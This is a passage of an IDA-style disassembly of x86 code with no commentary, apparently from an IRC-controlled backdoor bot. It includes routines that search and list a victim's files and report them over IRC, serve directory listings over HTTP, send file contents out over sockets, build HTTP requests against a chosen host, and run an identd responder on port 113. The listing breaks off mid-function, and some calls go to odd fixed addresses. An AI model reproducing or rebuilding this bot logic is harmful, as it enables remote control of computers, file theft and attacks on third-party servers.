loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2730000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2760B9Eh
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2670770h


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		nop
		call	near ptr 2680EF8h
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		call	near ptr 269086Bh
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2790000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 27705BFh
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2770000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		call	near ptr 2680EF8h
		nop


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2730000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2760B9Eh
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 271129Ah
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2670770h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0A80h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
